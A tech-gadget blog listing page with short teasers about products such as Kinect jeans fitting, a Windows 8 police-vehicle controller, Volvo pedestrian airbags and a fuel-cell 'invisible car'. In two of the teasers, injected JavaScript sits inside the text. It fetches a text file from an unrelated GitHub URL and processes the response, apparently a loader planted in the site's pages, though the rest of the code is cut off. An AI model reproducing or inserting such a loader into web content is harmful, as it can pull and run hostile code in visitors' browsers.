Trying clothes while shopping is really painful, especially with people like me (you have to see how sad I am when purchasing clothes :-P). Now here's a brilliant solution from Bloomingdale & Bodymetrics, it's an in-store service that uses Kinect to help women choose the correct size jeans. You  get scanned & classified into one of three groups: Emerald, sapphire, or ruby; then you can match yourself with sizes and styles that fit your classification before you buy. Actually this means Read more [...]

This is an in-development vehicle control app shown off at the company's Redmond campus as part of this year's Worldwide Public Safety Symposium. The Metro-style application turns any windows 8 slate into a virtual controller, granting users remote access to door locks, sirens, lights, as well as the ability to determine GPS location. And, as you'll see in the video, it also has the unintended and wholly amusing benefit of freaking out innocent passers-by. Via GeekWirevar url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) Read more [...]

Volvo is introduced the new V40 wagon, which happens to come with external airbags. Volvo has always been known for safety features, so one wouldn’t be toosurprised to learn that they’ll be the first car manufacturer to add airbags for people that aren’t even inside the car. Attempting to make a car safe for pedestrians is something car manufacturers have been throwing ideas at for a while, from hoods that are more capable of crumpling if a pedestrian happens to land on it, to installing Read more [...]

In a very clever publicity stunt, Mercedes promotes its new fuel cell vehicle by making the car invisible. The new fuel cell car produces zero emissions, meaning it’s invisible to the environment and hence the invisible car. So you ask how they did it? Well, the clever guys placed a mat of LEDs across one side of the vehicle and mounting a video-shooting Canon 5D Mark II digital SLR camera on the other side. Have a look at the video below and do let us know what you fell about this technology. It’s Read more [...]

Touchscreen devices are now part of our everyday lives, in our smartphones and tablets, but what will touchscreen technology be like in 15 or 20 years time, and how will these technologies be integrated into our daily lives? Corning, who makes the Gorilla Glass and other glass for many of our touchscreen devices have put together a video of how they imagine us using touchscreen technology in the future. Here's the second video, we prefer to show it to you before the 1st 😉 And here comes Read more [...]

How about combining the timer into the outlet. Thus, for devices that need 2-3 hours of charging, the timer automatically turns off the poweronce the time has expired. If you believe the words of the designer, then do the following: “Turn it counter-clockwise to power sign to set for regular use and clockwise to set timer for gadgets that need only limited time of power.” That’s it. Excess energy will not be used, imagine that? This not only saves energy, but also enhances the batteries Read more [...]

Although this may be a bit old, it's still really great! “Freedom, exhilaration, adventure: The dream of personal flight is as old as mankind. In the 21st century the daring vision of Daedalus has become real." It sounds like an unbelievable idea. But after nine long years of development including six years of intensive testing and refinements, our creativity, persistence and unshakeable belief in our ideas have finally created an incredible and revolutionary personal flying machine. The Read more [...]

This is not exactly the way presented in Angelina Jolie's movie "Wanted (2008)", but it's pretty much in the concept! Engineers from weapons and defense research outfit Sandia National Laboratories are working on a bullet that can steer itself after it is fired, homing in on laser-designated targets with the help of embedded electronics. The other geniuses working on invisibility need to go on overdrive. The 4 inch-long bullet was invented by Red Jones and Brian Kast, who aside from being engineers Read more [...]

No, this is not a magic trick (nor is it Real Magic 😛 ): Sometimes I wonder why people use the phrase “when pigs fly” when they try to convey that something is impossible. Shouldn’t they say something like “when humans fly,” since scientists could one day genetically modify pigs to give them wings? You know, since it’s less likely for these scientists to do their experiments on human beings. Or have they already succeeded in doing so? Pictures don’t lie, but you aren’t really Read more [...]

Has it ever happened to you that you have taken the perfect shot, just to realize that strangers have filled up the background? No, it doesn’t shoo away people nor will it magically fill in the background once you crop out a person or two. What it does is initially take a burst of shots in rapid succession. It then compares all the shots and identifies which subjects are moving (aka. the people to remove) and which ones are not (aka. the subject of the photos.) Here's a video: The moving Read more [...]

Very funny and unexpected hidden camera! She finds you by surprise and make your photo in the most cheerful and not very pleasant circumstances. The camera works like a slingshot. Shot, flash and all smiles. The hunt for the most curious pictures! Very interesting and fun! Designers: Sung Young Um & Jung Eun Yim     via:yankodesign var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { Read more [...]

Could you imagine looking out of your car's window just to see what passengers in a totally different country can see..!? ‘spindow’ provides a realtime look at the window view of other users from around the globe. passengers may select a city from a spinnable globe and then watch as that destination’s landscape is overlain on the window display over their own. How about sharing music and video with other cars' passengers...!? ‘pond’ seeks to increase interactivity not solely within Read more [...]